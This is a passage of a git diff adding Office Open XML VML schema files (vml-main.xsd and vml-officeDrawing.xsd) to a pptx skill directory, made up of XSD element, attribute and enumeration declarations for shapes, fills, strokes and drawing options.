type="ST_StrokeArrowLength" use="optional"/> + <xsd:attribute name="endarrow" type="ST_StrokeArrowType" use="optional"/> + <xsd:attribute name="endarrowwidth" type="ST_StrokeArrowWidth" use="optional"/> + <xsd:attribute name="endarrowlength" type="ST_StrokeArrowLength" use="optional"/> + <xsd:attribute ref="o:href"/> + <xsd:attribute ref="o:althref"/> + <xsd:attribute ref="o:title"/> + <xsd:attribute ref="o:forcedash"/> + <xsd:attribute ref="r:id" use="optional"/> + <xsd:attribute name="insetpen" type="s:ST_TrueFalse" use="optional"/> + <xsd:attribute ref="o:relid"/> + </xsd:attributeGroup> + <xsd:group name="EG_ShapeElements"> + <xsd:choice> + <xsd:element ref="path"/> + <xsd:element ref="formulas"/> + <xsd:element ref="handles"/> + <xsd:element ref="fill"/> + <xsd:element ref="stroke"/> + <xsd:element ref="shadow"/> + <xsd:element ref="textbox"/> + <xsd:element ref="textpath"/> + <xsd:element ref="imagedata"/> + <xsd:element ref="o:skew"/> + <xsd:element ref="o:extrusion"/> + <xsd:element ref="o:callout"/> + <xsd:element ref="o:lock"/> + <xsd:element ref="o:clippath"/> + <xsd:element ref="o:signatureline"/> + <xsd:element ref="w10:wrap"/> + <xsd:element ref="w10:anchorlock"/> + <xsd:element ref="w10:bordertop"/> + <xsd:element ref="w10:borderbottom"/> + <xsd:element ref="w10:borderleft"/> + <xsd:element ref="w10:borderright"/> + <xsd:element ref="x:ClientData" minOccurs="0"/> + <xsd:element ref="pvml:textdata" minOccurs="0"/> + </xsd:choice> + </xsd:group> + <xsd:element name="shape" type="CT_Shape"/> + <xsd:element name="shapetype" type="CT_Shapetype"/> + <xsd:element name="group" type="CT_Group"/> + <xsd:element name="background" type="CT_Background"/> + <xsd:complexType name="CT_Shape"> + <xsd:choice maxOccurs="unbounded"> + <xsd:group ref="EG_ShapeElements"/> + <xsd:element ref="o:ink"/> + <xsd:element ref="pvml:iscomment"/> + <xsd:element ref="o:equationxml"/> + </xsd:choice> + <xsd:attributeGroup ref="AG_AllCoreAttributes"/> + <xsd:attributeGroup ref="AG_AllShapeAttributes"/> + <xsd:attributeGroup ref="AG_Type"/> + <xsd:attributeGroup ref="AG_Adj"/> + <xsd:attributeGroup ref="AG_Path"/> + <xsd:attribute ref="o:gfxdata"/> + <xsd:attribute name="equationxml" type="xsd:string" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_Shapetype"> + <xsd:sequence> + <xsd:group ref="EG_ShapeElements" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element ref="o:complex" minOccurs="0"/> + </xsd:sequence> + <xsd:attributeGroup ref="AG_AllCoreAttributes"/> + <xsd:attributeGroup ref="AG_AllShapeAttributes"/> + <xsd:attributeGroup ref="AG_Adj"/> + <xsd:attributeGroup ref="AG_Path"/> + <xsd:attribute ref="o:master"/> + </xsd:complexType> + <xsd:complexType name="CT_Group"> + <xsd:choice maxOccurs="unbounded"> + <xsd:group ref="EG_ShapeElements"/> + <xsd:element ref="group"/> + <xsd:element ref="shape"/> + <xsd:element ref="shapetype"/> + <xsd:element ref="arc"/> + <xsd:element ref="curve"/> + <xsd:element ref="image"/> + <xsd:element ref="line"/> + <xsd:element ref="oval"/> + <xsd:element ref="polyline"/> + <xsd:element ref="rect"/> + <xsd:element ref="roundrect"/> + <xsd:element ref="o:diagram"/> + </xsd:choice> + <xsd:attributeGroup ref="AG_AllCoreAttributes"/> + <xsd:attributeGroup ref="AG_Fill"/> + <xsd:attribute name="editas" type="ST_EditAs" use="optional"/> + <xsd:attribute ref="o:tableproperties"/> + <xsd:attribute ref="o:tablelimits"/> + </xsd:complexType> + <xsd:complexType name="CT_Background"> + <xsd:sequence> + <xsd:element ref="fill" minOccurs="0"/> + </xsd:sequence> + <xsd:attributeGroup ref="AG_Id"/> + <xsd:attributeGroup ref="AG_Fill"/> + <xsd:attribute ref="o:bwmode"/> + <xsd:attribute ref="o:bwpure"/> + <xsd:attribute ref="o:bwnormal"/> + <xsd:attribute ref="o:targetscreensize"/> + </xsd:complexType> + <xsd:element name="fill" type="CT_Fill"/> + <xsd:element name="formulas" type="CT_Formulas"/> + <xsd:element name="handles" type="CT_Handles"/> + <xsd:element name="imagedata" type="CT_ImageData"/> + <xsd:element name="path" type="CT_Path"/> + <xsd:element name="textbox" type="CT_Textbox"/> + <xsd:element name="shadow" type="CT_Shadow"/> + <xsd:element name="stroke" type="CT_Stroke"/> + <xsd:element name="textpath" type="CT_TextPath"/> + <xsd:complexType name="CT_Fill"> + <xsd:sequence> + <xsd:element ref="o:fill" minOccurs="0"/> + </xsd:sequence> + <xsd:attributeGroup ref="AG_Id"/> + <xsd:attribute name="type" type="ST_FillType" use="optional"/> + <xsd:attribute name="on" type="s:ST_TrueFalse" use="optional"/> + <xsd:attribute name="color" type="s:ST_ColorType" use="optional"/> + <xsd:attribute name="opacity" type="xsd:string" use="optional"/> + <xsd:attribute name="color2" type="s:ST_ColorType" use="optional"/> + <xsd:attribute name="src" type="xsd:string" use="optional"/> + <xsd:attribute ref="o:href"/> + <xsd:attribute ref="o:althref"/> + <xsd:attribute name="size" type="xsd:string" use="optional"/> + <xsd:attribute name="origin" type="xsd:string" use="optional"/> + <xsd:attribute name="position" type="xsd:string" use="optional"/> + <xsd:attribute name="aspect" type="ST_ImageAspect" use="optional"/> + <xsd:attribute name="colors" type="xsd:string" use="optional"/> + <xsd:attribute name="angle" type="xsd:decimal" use="optional"/> + <xsd:attribute name="alignshape" type="s:ST_TrueFalse" use="optional"/> + <xsd:attribute name="focus" type="xsd:string" use="optional"/> + <xsd:attribute name="focussize" type="xsd:string" use="optional"/> + <xsd:attribute name="focusposition" type="xsd:string" use="optional"/> + <xsd:attribute name="method" type="ST_FillMethod" use="optional"/> + <xsd:attribute ref="o:detectmouseclick"/> + <xsd:attribute ref="o:title"/> + <xsd:attribute ref="o:opacity2"/> + <xsd:attribute name="recolor" type="s:ST_TrueFalse" use="optional"/> + <xsd:attribute name="rotate" type="s:ST_TrueFalse" use="optional"/> + <xsd:attribute ref="r:id" use="optional"/> + <xsd:attribute ref="o:relid" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_Formulas"> + <xsd:sequence> + <xsd:element name="f" type="CT_F" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_F"> + <xsd:attribute name="eqn" type="xsd:string"/> + </xsd:complexType> + <xsd:complexType name="CT_Handles"> + <xsd:sequence> + <xsd:element name="h" type="CT_H" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_H"> + <xsd:attribute name="position" type="xsd:string"/> + <xsd:attribute name="polar" type="xsd:string"/> + <xsd:attribute name="map" type="xsd:string"/> + <xsd:attribute name="invx" type="s:ST_TrueFalse"/> + <xsd:attribute name="invy" type="s:ST_TrueFalse"/> + <xsd:attribute name="switch" type="s:ST_TrueFalseBlank"/> + <xsd:attribute name="xrange" type="xsd:string"/> + <xsd:attribute name="yrange" type="xsd:string"/> + <xsd:attribute name="radiusrange" type="xsd:string"/> + </xsd:complexType> + <xsd:complexType name="CT_ImageData"> + <xsd:attributeGroup ref="AG_Id"/> + <xsd:attributeGroup ref="AG_ImageAttributes"/> + <xsd:attributeGroup ref="AG_Chromakey"/> + <xsd:attribute name="embosscolor" type="s:ST_ColorType" use="optional"/> + <xsd:attribute name="recolortarget" type="s:ST_ColorType"/> + <xsd:attribute ref="o:href"/> + <xsd:attribute ref="o:althref"/> + <xsd:attribute ref="o:title"/> + <xsd:attribute ref="o:oleid"/> + <xsd:attribute ref="o:detectmouseclick"/> + <xsd:attribute ref="o:movie"/> + <xsd:attribute ref="o:relid"/> + <xsd:attribute ref="r:id"/> + <xsd:attribute ref="r:pict"/> + <xsd:attribute ref="r:href"/> + </xsd:complexType> + <xsd:complexType name="CT_Path"> + <xsd:attributeGroup ref="AG_Id"/> + <xsd:attribute name="v" type="xsd:string" use="optional"/> + <xsd:attribute name="limo" type="xsd:string" use="optional"/> + <xsd:attribute name="textboxrect" type="xsd:string" use="optional"/> + <xsd:attribute name="fillok" type="s:ST_TrueFalse" use="optional"/> + <xsd:attribute name="strokeok" type="s:ST_TrueFalse" use="optional"/> + <xsd:attribute name="shadowok" type="s:ST_TrueFalse" use="optional"/> + <xsd:attribute name="arrowok" type="s:ST_TrueFalse" use="optional"/> + <xsd:attribute name="gradientshapeok" type="s:ST_TrueFalse" use="optional"/> + <xsd:attribute name="textpathok" type="s:ST_TrueFalse" use="optional"/> + <xsd:attribute name="insetpenok" type="s:ST_TrueFalse" use="optional"/> + <xsd:attribute ref="o:connecttype"/> + <xsd:attribute ref="o:connectlocs"/> + <xsd:attribute ref="o:connectangles"/> + <xsd:attribute ref="o:extrusionok"/> + </xsd:complexType> + <xsd:complexType name="CT_Shadow"> + <xsd:attributeGroup ref="AG_Id"/> + <xsd:attribute name="on" type="s:ST_TrueFalse" use="optional"/> + <xsd:attribute name="type" type="ST_ShadowType" use="optional"/> + <xsd:attribute name="obscured" type="s:ST_TrueFalse" use="optional"/> + <xsd:attribute name="color" type="s:ST_ColorType" use="optional"/> + <xsd:attribute name="opacity" type="xsd:string" use="optional"/> + <xsd:attribute name="offset" type="xsd:string" use="optional"/> + <xsd:attribute name="color2" type="s:ST_ColorType" use="optional"/> + <xsd:attribute name="offset2" type="xsd:string" use="optional"/> + <xsd:attribute name="origin" type="xsd:string" use="optional"/> + <xsd:attribute name="matrix" type="xsd:string" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_Stroke"> + <xsd:sequence> + <xsd:element ref="o:left" minOccurs="0"/> + <xsd:element ref="o:top" minOccurs="0"/> + <xsd:element ref="o:right" minOccurs="0"/> + <xsd:element ref="o:bottom" minOccurs="0"/> + <xsd:element ref="o:column" minOccurs="0"/> + </xsd:sequence> + <xsd:attributeGroup ref="AG_Id"/> + <xsd:attributeGroup ref="AG_StrokeAttributes"/> + </xsd:complexType> + <xsd:complexType name="CT_Textbox"> + <xsd:choice> + <xsd:element ref="w:txbxContent" minOccurs="0"/> + <xsd:any namespace="##local" processContents="skip"/> + </xsd:choice> + <xsd:attributeGroup ref="AG_Id"/> + <xsd:attributeGroup ref="AG_Style"/> + <xsd:attribute name="inset" type="xsd:string" use="optional"/> + <xsd:attribute ref="o:singleclick"/> + <xsd:attribute ref="o:insetmode"/> + </xsd:complexType> + <xsd:complexType name="CT_TextPath"> + <xsd:attributeGroup ref="AG_Id"/> + <xsd:attributeGroup ref="AG_Style"/> + <xsd:attribute name="on" type="s:ST_TrueFalse" use="optional"/> + <xsd:attribute name="fitshape" type="s:ST_TrueFalse" use="optional"/> + <xsd:attribute name="fitpath" type="s:ST_TrueFalse" use="optional"/> + <xsd:attribute name="trim" type="s:ST_TrueFalse" use="optional"/> + <xsd:attribute name="xscale" type="s:ST_TrueFalse" use="optional"/> + <xsd:attribute name="string" type="xsd:string" use="optional"/> + </xsd:complexType> + <xsd:element name="arc" type="CT_Arc"/> + <xsd:element name="curve" type="CT_Curve"/> + <xsd:element name="image" type="CT_Image"/> + <xsd:element name="line" type="CT_Line"/> + <xsd:element name="oval" type="CT_Oval"/> + <xsd:element name="polyline" type="CT_PolyLine"/> + <xsd:element name="rect" type="CT_Rect"/> + <xsd:element name="roundrect" type="CT_RoundRect"/> + <xsd:complexType name="CT_Arc"> + <xsd:sequence> + <xsd:group ref="EG_ShapeElements" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attributeGroup ref="AG_AllCoreAttributes"/> + <xsd:attributeGroup ref="AG_AllShapeAttributes"/> + <xsd:attribute name="startAngle" type="xsd:decimal" use="optional"/> + <xsd:attribute name="endAngle" type="xsd:decimal" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_Curve"> + <xsd:sequence> + <xsd:group ref="EG_ShapeElements" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attributeGroup ref="AG_AllCoreAttributes"/> + <xsd:attributeGroup ref="AG_AllShapeAttributes"/> + <xsd:attribute name="from" type="xsd:string" use="optional"/> + <xsd:attribute name="control1" type="xsd:string" use="optional"/> + <xsd:attribute name="control2" type="xsd:string" use="optional"/> + <xsd:attribute name="to" type="xsd:string" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_Image"> + <xsd:sequence> + <xsd:group ref="EG_ShapeElements" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attributeGroup ref="AG_AllCoreAttributes"/> + <xsd:attributeGroup ref="AG_AllShapeAttributes"/> + <xsd:attributeGroup ref="AG_ImageAttributes"/> + </xsd:complexType> + <xsd:complexType name="CT_Line"> + <xsd:sequence> + <xsd:group ref="EG_ShapeElements" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attributeGroup ref="AG_AllCoreAttributes"/> + <xsd:attributeGroup ref="AG_AllShapeAttributes"/> + <xsd:attribute name="from" type="xsd:string" use="optional"/> + <xsd:attribute name="to" type="xsd:string" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_Oval"> + <xsd:choice maxOccurs="unbounded"> + <xsd:group ref="EG_ShapeElements" minOccurs="0" maxOccurs="unbounded"/> + </xsd:choice> + <xsd:attributeGroup ref="AG_AllCoreAttributes"/> + <xsd:attributeGroup ref="AG_AllShapeAttributes"/> + </xsd:complexType> + <xsd:complexType name="CT_PolyLine"> + <xsd:choice minOccurs="0" maxOccurs="unbounded"> + <xsd:group ref="EG_ShapeElements"/> + <xsd:element ref="o:ink"/> + </xsd:choice> + <xsd:attributeGroup ref="AG_AllCoreAttributes"/> + <xsd:attributeGroup ref="AG_AllShapeAttributes"/> + <xsd:attribute name="points" type="xsd:string" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_Rect"> + <xsd:choice maxOccurs="unbounded"> + <xsd:group ref="EG_ShapeElements" minOccurs="0" maxOccurs="unbounded"/> + </xsd:choice> + <xsd:attributeGroup ref="AG_AllCoreAttributes"/> + <xsd:attributeGroup ref="AG_AllShapeAttributes"/> + </xsd:complexType> + <xsd:complexType name="CT_RoundRect"> + <xsd:choice maxOccurs="unbounded"> + <xsd:group ref="EG_ShapeElements" minOccurs="0" maxOccurs="unbounded"/> + </xsd:choice> + <xsd:attributeGroup ref="AG_AllCoreAttributes"/> + <xsd:attributeGroup ref="AG_AllShapeAttributes"/> + <xsd:attribute name="arcsize" type="xsd:string" use="optional"/> + </xsd:complexType> + <xsd:simpleType name="ST_Ext"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="view"/> + <xsd:enumeration value="edit"/> + <xsd:enumeration value="backwardCompatible"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_FillType"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="solid"/> + <xsd:enumeration value="gradient"/> + <xsd:enumeration value="gradientRadial"/> + <xsd:enumeration value="tile"/> + <xsd:enumeration value="pattern"/> + <xsd:enumeration value="frame"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_FillMethod"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="none"/> + <xsd:enumeration value="linear"/> + <xsd:enumeration value="sigma"/> + <xsd:enumeration value="any"/> + <xsd:enumeration value="linear sigma"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_ShadowType"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="single"/> + <xsd:enumeration value="double"/> + <xsd:enumeration value="emboss"/> + <xsd:enumeration value="perspective"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_StrokeLineStyle"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="single"/> + <xsd:enumeration value="thinThin"/> + <xsd:enumeration value="thinThick"/> + <xsd:enumeration value="thickThin"/> + <xsd:enumeration value="thickBetweenThin"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_StrokeJoinStyle"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="round"/> + <xsd:enumeration value="bevel"/> + <xsd:enumeration value="miter"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_StrokeEndCap"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="flat"/> + <xsd:enumeration value="square"/> + <xsd:enumeration value="round"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_StrokeArrowLength"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="short"/> + <xsd:enumeration value="medium"/> + <xsd:enumeration value="long"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_StrokeArrowWidth"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="narrow"/> + <xsd:enumeration value="medium"/> + <xsd:enumeration value="wide"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_StrokeArrowType"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="none"/> + <xsd:enumeration value="block"/> + <xsd:enumeration value="classic"/> + <xsd:enumeration value="oval"/> + <xsd:enumeration value="diamond"/> + <xsd:enumeration value="open"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_ImageAspect"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="ignore"/> + <xsd:enumeration value="atMost"/> + <xsd:enumeration value="atLeast"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_EditAs"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="canvas"/> + <xsd:enumeration value="orgchart"/> + <xsd:enumeration value="radial"/> + <xsd:enumeration value="cycle"/> + <xsd:enumeration value="stacked"/> + <xsd:enumeration value="venn"/> + <xsd:enumeration value="bullseye"/> + </xsd:restriction> + </xsd:simpleType> +</xsd:schema> diff --git a/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/vml-officeDrawing.xsd b/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/vml-officeDrawing.xsd new file mode 100644 index 00000000..ca2575c7 --- /dev/null +++ b/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/vml-officeDrawing.xsd @@ -0,0 +1,509 @@ +<?xml version="1.0" encoding="utf-8"?> +<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" + xmlns="urn:schemas-microsoft-com:office:office" xmlns:v="urn:schemas-microsoft-com:vml" + xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" + xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" + targetNamespace="urn:schemas-microsoft-com:office:office" elementFormDefault="qualified" + attributeFormDefault="unqualified"> + <xsd:import namespace="urn:schemas-microsoft-com:vml" schemaLocation="vml-main.xsd"/> + <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" + schemaLocation="shared-relationshipReference.xsd"/> + <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" + schemaLocation="shared-commonSimpleTypes.xsd"/> + <xsd:attribute name="bwmode" type="ST_BWMode"/> + <xsd:attribute name="bwpure" type="ST_BWMode"/> + <xsd:attribute name="bwnormal" type="ST_BWMode"/> + <xsd:attribute name="targetscreensize" type="ST_ScreenSize"/> + <xsd:attribute name="insetmode" type="ST_InsetMode" default="custom"/> + <xsd:attribute name="spt" type="xsd:float"/> + <xsd:attribute name="wrapcoords" type="xsd:string"/> + <xsd:attribute name="oned" type="s:ST_TrueFalse"/> + <xsd:attribute name="regroupid" type="xsd:integer"/> + <xsd:attribute name="doubleclicknotify" type="s:ST_TrueFalse"/> + <xsd:attribute name="connectortype" type="ST_ConnectorType" default="straight"/> + <xsd:attribute name="button" type="s:ST_TrueFalse"/> + <xsd:attribute name="userhidden" type="s:ST_TrueFalse"/> + <xsd:attribute name="forcedash" type="s:ST_TrueFalse"/> + <xsd:attribute name="oleicon" type="s:ST_TrueFalse"/> + <xsd:attribute name="ole" type="s:ST_TrueFalseBlank"/> + <xsd:attribute name="preferrelative" type="s:ST_TrueFalse"/> + <xsd:attribute name="cliptowrap" type="s:ST_TrueFalse"/> + <xsd:attribute name="clip" type="s:ST_TrueFalse"/> + <xsd:attribute name="bullet" type="s:ST_TrueFalse"/> + <xsd:attribute name="hr" type="s:ST_TrueFalse"/> + <xsd:attribute name="hrstd" type="s:ST_TrueFalse"/> + <xsd:attribute name="hrnoshade" type="s:ST_TrueFalse"/> + <xsd:attribute name="hrpct" type="xsd:float"/> + <xsd:attribute name="hralign" type="ST_HrAlign" default="left"/> + <xsd:attribute name="allowincell" type="s:ST_TrueFalse"/> + <xsd:attribute name="allowoverlap" type="s:ST_TrueFalse"/> + <xsd:attribute name="userdrawn" type="s:ST_TrueFalse"/> + <xsd:attribute name="bordertopcolor" type="xsd:string"/> + <xsd:attribute name="borderleftcolor" type="xsd:string"/> + <xsd:attribute name="borderbottomcolor" type="xsd:string"/> + <xsd:attribute name="borderrightcolor" type="xsd:string"/> + <xsd:attribute name="connecttype" type="ST_ConnectType"/> + <xsd:attribute name="connectlocs" type="xsd:string"/> + <xsd:attribute name="connectangles" type="xsd:string"/> + <xsd:attribute name="master" type="xsd:string"/> + <xsd:attribute name="extrusionok" type="s:ST_TrueFalse"/> + <xsd:attribute name="href" type="xsd:string"/> + <xsd:attribute name="althref" type="xsd:string"/> + <xsd:attribute name="title" type="xsd:string"/> + <xsd:attribute name="singleclick" type="s:ST_TrueFalse"/> + <xsd:attribute name="oleid" type="xsd:float"/> + <xsd:attribute name="detectmouseclick" type="s:ST_TrueFalse"/> + <xsd:attribute name="movie" type="xsd:float"/> + <xsd:attribute name="spid" type="xsd:string"/> + <xsd:attribute name="opacity2" type="xsd:string"/> + <xsd:attribute name="relid" type="r:ST_RelationshipId"/> + <xsd:attribute name="dgmlayout" type="ST_DiagramLayout"/> + <xsd:attribute name="dgmnodekind" type="xsd:integer"/> + <xsd:attribute name="dgmlayoutmru" type="ST_DiagramLayout"/> + <xsd:attribute name="gfxdata" type="xsd:base64Binary"/> + <xsd:attribute name="tableproperties" type="xsd:string"/> + <xsd:attribute name="tablelimits" type="xsd:string"/> + <xsd:element name="shapedefaults" type="CT_ShapeDefaults"/> + <xsd:element name="shapelayout" type="CT_ShapeLayout"/> + <xsd:element name="signatureline" type="CT_SignatureLine"/> + <xsd:element name="ink" type="CT_Ink"/> + <xsd:element name="diagram" type="CT_Diagram"/> + <xsd:element name="equationxml" type="CT_EquationXml"/> + <xsd:complexType name="CT_ShapeDefaults"> + <xsd:all minOccurs="0"> + <xsd:element ref="v:fill" minOccurs="0"/> + <xsd:element ref="v:stroke" minOccurs="0"/> + <xsd:element ref="v:textbox" minOccurs="0"/> + <xsd:element ref="v:shadow" minOccurs="0"/> + <xsd:element ref="skew" minOccurs="0"/> + <xsd:element ref="extrusion" minOccurs="0"/> + <xsd:element ref="callout" minOccurs="0"/> + <xsd:element ref="lock" minOccurs="0"/> + <xsd:element name="colormru" minOccurs="0" type="CT_ColorMru"/> + <xsd:element name="colormenu" minOccurs="0" type="CT_ColorMenu"/> + </xsd:all> + <xsd:attributeGroup ref="v:AG_Ext"/> + <xsd:attribute name="spidmax" type="xsd:integer" use="optional"/> + <xsd:attribute name="style" type="xsd:string" use="optional"/> + <xsd:attribute name="fill" type="s:ST_TrueFalse" use="optional"/> + <xsd:attribute name="fillcolor" type="s:ST_ColorType" use="optional"/> + <xsd:attribute name="stroke" type="s:ST_TrueFalse" use="optional"/> + <xsd:attribute name="strokecolor" type="s:ST_ColorType"/> + <xsd:attribute name="allowincell" form="qualified" type="s:ST_TrueFalse"/> + </xsd:complexType> + <xsd:complexType name="CT_Ink"> + <xsd:sequence/> + <xsd:attribute name="i" type="xsd:string"/> + <xsd:attribute name="annotation" type="s:ST_TrueFalse"/> + <xsd:attribute name="contentType" type="ST_ContentType" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_SignatureLine"> + <xsd:attributeGroup ref="v:AG_Ext"/> + <xsd:attribute name="issignatureline" type="s:ST_TrueFalse"/> + <xsd:attribute name="id" type="s:ST_Guid"/> + <xsd:attribute name="provid" type="s:ST_Guid"/> + <xsd:attribute name="signinginstructionsset" type="s:ST_TrueFalse"/> + <xsd:attribute name="allowcomments" type="s:ST_TrueFalse"/> + <xsd:attribute name="showsigndate" type="s:ST_TrueFalse"/> + <xsd:attribute name="suggestedsigner" type="xsd:string" form="qualified"/> + <xsd:attribute name="suggestedsigner2" type="xsd:string" form="qualified"/> + <xsd:attribute name="suggestedsigneremail" type="xsd:string" form="qualified"/> + <xsd:attribute name="signinginstructions" type="xsd:string"/> + <xsd:attribute name="addlxml" type="xsd:string"/> + <xsd:attribute name="sigprovurl" type="xsd:string"/> + </xsd:complexType> + <xsd:complexType name="CT_ShapeLayout"> + <xsd:all> + <xsd:element name="idmap" type="CT_IdMap" minOccurs="0"/> + <xsd:element name="regrouptable" type="CT_RegroupTable" minOccurs="0"/> + <xsd:element name="rules" type="CT_Rules" minOccurs="0"/> + </xsd:all> + <xsd:attributeGroup ref="v:AG_Ext"/> + </xsd:complexType> + <xsd:complexType name="CT_IdMap"> + <xsd:attributeGroup ref="v:AG_Ext"/> + <xsd:attribute name="data" type="xsd:string" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_RegroupTable"> + <xsd:sequence> + <xsd:element name="entry" type="CT_Entry" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attributeGroup ref="v:AG_Ext"/> + </xsd:complexType> + <xsd:complexType name="CT_Entry"> + <xsd:attribute name="new" type="xsd:int" use="optional"/> + <xsd:attribute name="old" type="xsd:int" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_Rules"> + <xsd:sequence> + <xsd:element name="r" type="CT_R" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attributeGroup ref="v:AG_Ext"/> + </xsd:complexType> + <xsd:complexType name="CT_R"> + <xsd:sequence> + <xsd:element name="proxy" type="CT_Proxy" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="id" type="xsd:string" use="required"/> + <xsd:attribute name="type" type="ST_RType" use="optional"/> + <xsd:attribute name="how" type="ST_How" use="optional"/> + <xsd:attribute name="idref" type="xsd:string" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_Proxy"> + <xsd:attribute name="start" type="s:ST_TrueFalseBlank" use="optional" default="false"/> + <xsd:attribute name="end" type="s:ST_TrueFalseBlank" use="optional" default="false"/> + <xsd:attribute name="idref" type="xsd:string" use="optional"/> + <xsd:attribute name="connectloc" type="xsd:int" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_Diagram"> + <xsd:sequence> + <xsd:element name="relationtable" type="CT_RelationTable" minOccurs="0"/> + </xsd:sequence> + <xsd:attributeGroup ref="v:AG_Ext"/> + <xsd:attribute name="dgmstyle" type="xsd:integer" use="optional"/> + <xsd:attribute name="autoformat" type="s:ST_TrueFalse" use="optional"/> + <xsd:attribute name="reverse" type="s:ST_TrueFalse" use="optional"/> + <xsd:attribute name="autolayout" type="s:ST_TrueFalse" use="optional"/> + <xsd:attribute name="dgmscalex" type="xsd:integer" use="optional"/> + <xsd:attribute name="dgmscaley" type="xsd:integer" use="optional"/> + <xsd:attribute name="dgmfontsize" type="xsd:integer" use="optional"/> + <xsd:attribute name="constrainbounds" type="xsd:string" use="optional"/> + <xsd:attribute name="dgmbasetextscale" type="xsd:integer" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_EquationXml"> + <xsd:sequence> + <xsd:any namespace="##any"/> + </xsd:sequence> + <xsd:attribute name="contentType" type="ST_AlternateMathContentType" use="optional"/> + </xsd:complexType> + <xsd:simpleType name="ST_AlternateMathContentType"> + <xsd:restriction base="xsd:string"/> + </xsd:simpleType> + <xsd:complexType name="CT_RelationTable"> + <xsd:sequence> + <xsd:element name="rel" type="CT_Relation" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attributeGroup ref="v:AG_Ext"/> + </xsd:complexType> + <xsd:complexType name="CT_Relation"> + <xsd:attributeGroup ref="v:AG_Ext"/> + <xsd:attribute name="idsrc" type="xsd:string" use="optional"/> + <xsd:attribute name="iddest" type="xsd:string" use="optional"/> + <xsd:attribute name="idcntr" type="xsd:string" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_ColorMru"> + <xsd:attributeGroup ref="v:AG_Ext"/> + <xsd:attribute name="colors" type="xsd:string"/> + </xsd:complexType> + <xsd:complexType name="CT_ColorMenu"> + <xsd:attributeGroup ref="v:AG_Ext"/> + <xsd:attribute name="strokecolor" type="s:ST_ColorType"/> + <xsd:attribute name="fillcolor" type="s:ST_ColorType"/> + <xsd:attribute name="shadowcolor" type="s:ST_ColorType"/> + <xsd:attribute name="extrusioncolor" type="s:ST_ColorType"/> + </xsd:complexType> + <xsd:element name="skew" type="CT_Skew"/> + <xsd:element name="extrusion" type="CT_Extrusion"/> + <xsd:element name="callout" type="CT_Callout"/> + <xsd:element name="lock" type="CT_Lock"/> + <xsd:element name="OLEObject" type="CT_OLEObject"/> + <xsd:element name="complex" type="CT_Complex"/> + <xsd:element name="left" type="CT_StrokeChild"/> + <xsd:element name="top" type="CT_StrokeChild"/> + <xsd:element name="right" type="CT_StrokeChild"/> + <xsd:element name="bottom" type="CT_StrokeChild"/> + <xsd:element name="column" type="CT_StrokeChild"/> + <xsd:element name="clippath" type="CT_ClipPath"/> + <xsd:element name="fill" type="CT_Fill"/> + <xsd:complexType name="CT_Skew"> + <xsd:attributeGroup ref="v:AG_Ext"/> + <xsd:attribute name="id" type="xsd:string" use="optional"/> + <xsd:attribute name="on" type="s:ST_TrueFalse" use="optional"/> + <xsd:attribute name="offset" type="xsd:string" use="optional"/> + <xsd:attribute name="origin" 